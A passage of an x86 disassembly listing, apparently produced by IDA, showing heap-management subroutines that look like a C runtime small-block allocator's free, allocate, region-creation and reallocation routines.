		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx

loc_41AF36:				; CODE XREF: sub_41ADB4+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41AF3E
; ---------------------------------------------------------------------------

loc_41AF3B:				; CODE XREF: sub_41ADB4+EDj
		mov	ebx, [ebp+arg_0]

loc_41AF3E:				; CODE XREF: sub_41ADB4+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41AF4C
		cmp	ebx, edx
		jz	loc_41AFCD

loc_41AF4C:				; CODE XREF: sub_41ADB4+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41AFCD
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41AFA4
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AF93
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41AF93:				; CODE XREF: sub_41ADB4+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41AFCD
; ---------------------------------------------------------------------------

loc_41AFA4:				; CODE XREF: sub_41ADB4+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41AFBA
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41AFBA:				; CODE XREF: sub_41ADB4+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx

loc_41AFCD:				; CODE XREF: sub_41ADB4+192j
					; sub_41ADB4+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41B0D8
		mov	eax, dword_48B674
		test	eax, eax
		jz	loc_41B0CA
		mov	ecx, dword_48B66C
		mov	esi, dword_4241B0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_48B66C
		mov	eax, dword_48B674
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_48B674
		mov	ecx, dword_48B66C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_48B674
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_48B674
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41B05B
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_48B674

loc_41B05B:				; CODE XREF: sub_41ADB4+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41B0CA
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_48B674
		push	dword ptr [eax+10h]
		push	0
		push	dword_48B684
		nop
		call	near ptr 26C0338h
		mov	eax, dword_48B678
		mov	edx, dword_48B67C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_48B674
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_4182C0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_48B678
		cmp	eax, dword_48B674
		jbe	short loc_41B0C0
		sub	[ebp+arg_0], 14h

loc_41B0C0:				; CODE XREF: sub_41ADB4+306j
		mov	eax, dword_48B67C
		mov	dword_48B670, eax

loc_41B0CA:				; CODE XREF: sub_41ADB4+234j
					; sub_41ADB4+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_48B66C, edi
		mov	dword_48B674, eax

loc_41B0D8:				; CODE XREF: sub_41ADB4+38j
					; sub_41ADB4+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ADB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0DD	proc near		; CODE XREF: sub_417BC7+18p
					; sub_41944F+77p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_48B678
		mov	edx, dword_48B67C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41B11D
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41B12D
; ---------------------------------------------------------------------------

loc_41B11D:				; CODE XREF: sub_41B0DD+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax

loc_41B12D:				; CODE XREF: sub_41B0DD+3Ej
		mov	eax, dword_48B670
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B154

loc_41B13B:				; CODE XREF: sub_41B0DD+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B154
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41B13B

loc_41B154:				; CODE XREF: sub_41B0DD+5Cj
					; sub_41B0DD+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41B1D2
		mov	ebx, edx

loc_41B15B:				; CODE XREF: sub_41B0DD+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B177
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B175
		add	ebx, 14h
		jmp	short loc_41B15B
; ---------------------------------------------------------------------------

loc_41B175:				; CODE XREF: sub_41B0DD+91j
		cmp	ebx, eax

loc_41B177:				; CODE XREF: sub_41B0DD+83j
		jnz	short loc_41B1D2

loc_41B179:				; CODE XREF: sub_41B0DD+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41B18F
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41B18C
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41B179
; ---------------------------------------------------------------------------

loc_41B18C:				; CODE XREF: sub_41B0DD+A5j
		cmp	ebx, [ebp+var_4]

loc_41B18F:				; CODE XREF: sub_41B0DD+9Fj
		jnz	short loc_41B1B7
		mov	ebx, edx

loc_41B193:				; CODE XREF: sub_41B0DD+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41B1A7
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41B1A5
		add	ebx, 14h
		jmp	short loc_41B193
; ---------------------------------------------------------------------------

loc_41B1A5:				; CODE XREF: sub_41B0DD+C1j
		cmp	ebx, eax

loc_41B1A7:				; CODE XREF: sub_41B0DD+BBj
		jnz	short loc_41B1B7
		call	sub_41B3E6
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41B1CB

loc_41B1B7:				; CODE XREF: sub_41B0DD:loc_41B18Fj
					; sub_41B0DD:loc_41B1A7j
		push	ebx
		call	sub_41B497
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41B1D2

loc_41B1CB:				; CODE XREF: sub_41B0DD+D8j
		xor	eax, eax
		jmp	loc_41B3E1
; ---------------------------------------------------------------------------

loc_41B1D2:				; CODE XREF: sub_41B0DD+7Aj
					; sub_41B0DD:loc_41B177j ...
		mov	dword_48B670, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41B1F9
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41B230

loc_41B1F9:				; CODE XREF: sub_41B0DD+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41B22D

loc_41B216:				; CODE XREF: sub_41B0DD+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41B216

loc_41B22D:				; CODE XREF: sub_41B0DD+137j
		mov	edx, [ebp+var_4]

loc_41B230:				; CODE XREF: sub_41B0DD+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41B259
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi

loc_41B259:				; CODE XREF: sub_41B0DD+16Dj
					; sub_41B0DD+183j
		test	ecx, ecx
		jl	short loc_41B262
		shl	ecx, 1
		inc	edi
		jmp	short loc_41B259
; ---------------------------------------------------------------------------

loc_41B262:				; CODE XREF: sub_41B0DD+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41B27F
		push	3Fh
		pop	esi

loc_41B27F:				; CODE XREF: sub_41B0DD+19Dj
		cmp	esi, edi
		jz	loc_41B394
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41B2F0
		cmp	edi, 20h
		jge	short loc_41B2BF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41B2ED
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41B2F0
; ---------------------------------------------------------------------------

loc_41B2BF:				; CODE XREF: sub_41B0DD+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41B2ED
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41B2F0
; ---------------------------------------------------------------------------

loc_41B2ED:				; CODE XREF: sub_41B0DD+1D6j
					; sub_41B0DD+203j
		mov	ebx, [ebp+arg_0]

loc_41B2F0:				; CODE XREF: sub_41B0DD+1B0j
					; sub_41B0DD+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41B3A0
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41B391
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41B362
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41B350
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi

loc_41B350:				; CODE XREF: sub_41B0DD+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41B391
; ---------------------------------------------------------------------------

loc_41B362:				; CODE XREF: sub_41B0DD+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41B37B
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi

loc_41B37B:				; CODE XREF: sub_41B0DD+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi

loc_41B391:				; CODE XREF: sub_41B0DD+24Ej
					; sub_41B0DD+283j
		mov	ecx, [ebp+var_8]

loc_41B394:				; CODE XREF: sub_41B0DD+1A4j
		test	ecx, ecx
		jz	short loc_41B3A3
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41B3A3
; ---------------------------------------------------------------------------

loc_41B3A0:				; CODE XREF: sub_41B0DD+229j
		mov	ecx, [ebp+var_8]

loc_41B3A3:				; CODE XREF: sub_41B0DD+2B9j
					; sub_41B0DD+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41B3D9
		cmp	ebx, dword_48B674
		jnz	short loc_41B3D9
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_48B66C
		jnz	short loc_41B3D9
		and	dword_48B674, 0

loc_41B3D9:				; CODE XREF: sub_41B0DD+2E0j
					; sub_41B0DD+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]

loc_41B3E1:				; CODE XREF: sub_41B0DD+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B0DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B3E6	proc near		; CODE XREF: sub_41B0DD+CCp
		mov	eax, dword_48B678
		mov	ecx, dword_48B668
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41B429
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_48B67C
		push	edi
		push	dword_48B684
		nop
		call	near ptr 27E0000h
		cmp	eax, edi
		jz	short loc_41B479
		add	dword_48B668, 10h
		mov	dword_48B67C, eax
		mov	eax, dword_48B678

loc_41B429:				; CODE XREF: sub_41B3E6+11j
		mov	ecx, dword_48B67C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_48B684
		lea	esi, [ecx+eax*4]
		call	near ptr 26D0000h
		nop
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41B479
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 2810888h
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41B47D
		push	dword ptr [esi+10h]
		push	edi
		push	dword_48B684
		nop
		call	near ptr 26C0338h

loc_41B479:				; CODE XREF: sub_41B3E6+30j
					; sub_41B3E6+67j
		xor	eax, eax
		jmp	short loc_41B494
; ---------------------------------------------------------------------------

loc_41B47D:				; CODE XREF: sub_41B3E6+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_48B678
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi

loc_41B494:				; CODE XREF: sub_41B3E6+95j
		pop	edi
		pop	esi
		retn
sub_41B3E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B497	proc near		; CODE XREF: sub_41B0DD+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx

loc_41B4A9:				; CODE XREF: sub_41B497+19j
		test	eax, eax
		jl	short loc_41B4B2
		shl	eax, 1
		inc	ebx
		jmp	short loc_41B4A9
; ---------------------------------------------------------------------------

loc_41B4B2:				; CODE XREF: sub_41B497+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax

loc_41B4C7:				; CODE XREF: sub_41B497+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41B4C7
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 2810888h
		test	eax, eax
		jnz	short loc_41B4FA
		or	eax, 0FFFFFFFFh
		jmp	loc_41B58D
; ---------------------------------------------------------------------------

loc_41B4FA:				; CODE XREF: sub_41B497+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41B540
		lea	eax, [edi+10h]

loc_41B507:				; CODE XREF: sub_41B497+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41B507

loc_41B540:				; CODE XREF: sub_41B497+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41B57D
		or	[eax+4], edi

loc_41B57D:				; CODE XREF: sub_41B497+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx

loc_41B58D:				; CODE XREF: sub_41B497+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B497	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B592	proc near		; CODE XREF: sub_41944F+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41B740
		test	bl, 1
		jnz	loc_41B739
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41B739
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41B609
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx

loc_41B609:				; CODE XREF: sub_41B592+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41B659
		cmp	ecx, 20h
		jnb	short loc_41B635
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B659
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41B659
; ---------------------------------------------------------------------------

loc_41B635:				; CODE XREF: sub_41B592+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B659
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41B659:				; CODE XREF: sub_41B592+7Dj
					; sub_41B592+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41B727
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41B693
		push	3Fh
		pop	edi

loc_41B693:				; CODE XREF: sub_41B592+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41B715
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41B6EC
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41B6DF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41B6DF:				; CODE XREF: sub_41B592+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41B711
; ---------------------------------------------------------------------------

loc_41B6EC:				; CODE XREF: sub_41B592+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41B702
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41B702:				; CODE XREF: sub_41B592+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h

loc_41B711:				; CODE XREF: sub_41B592+158j
		shr	edx, cl
		or	[eax], edx

loc_41B715:				; CODE XREF: sub_41B592+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41B72A
; ---------------------------------------------------------------------------

loc_41B727:				; CODE XREF: sub_41B592+E5j
		mov	edx, [ebp+arg_4]

loc_41B72A:				; CODE XREF: sub_41B592+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41B880
; ---------------------------------------------------------------------------

loc_41B739:				; CODE XREF: sub_41B592+52j
					; sub_41B592+5Cj
		xor	eax, eax
		jmp	loc_41B883
; ---------------------------------------------------------------------------

loc_41B740:				; CODE XREF: sub_41B592+49j
		jge	loc_41B880
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41B76B
		push	3Fh
		pop	esi

loc_41B76B:				; CODE XREF: sub_41B592+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41B7FA
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41B784
		push	3Fh
		pop	esi

loc_41B784:				; CODE XREF: sub_41B592+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41B7D3
		cmp	esi, 20h
		jnb	short loc_41B7AF
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41B7D0
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41B7D0
; ---------------------------------------------------------------------------

loc_41B7AF:				; CODE XREF: sub_41B592+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B7D0
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41B7D0:				; CODE XREF: sub_41B592+214j
					; sub_41B592+21Bj ...
		mov	ebx, [ebp+arg_4]

loc_41B7D3:				; CODE XREF: sub_41B592+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41B7FA
		push	3Fh
		pop	esi

loc_41B7FA:				; CODE XREF: sub_41B592+1DDj
					; sub_41B592+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41B877
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41B84E
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41B841
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi

loc_41B841:				; CODE XREF: sub_41B592+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41B873
; ---------------------------------------------------------------------------

loc_41B84E:				; CODE XREF: sub_41B592+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41B864
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi

loc_41B864:				; CODE XREF: sub_41B592+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h

loc_41B873:				; CODE XREF: sub_41B592+2BAj
		shr	edx, cl
		or	[eax], edx

loc_41B877:				; CODE XREF: sub_41B592+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax

loc_41B880:				; CODE XREF: sub_41B592+1A2j
					; sub_41B592:loc_41B740j
		push	1
		pop	eax

loc_41B883:				; CODE XREF: sub_41B592+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B888	proc near		; CODE XREF: sub_41BB80:loc_41BD4Fp
		cmp	dword_4397D0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41B89C
		mov	esi, offset off_4397C0
		jmp	short loc_41B8B9
; ---------------------------------------------------------------------------

loc_41B89C:				; CODE XREF: sub_41B888+Bj
		push	2020h
		push	0
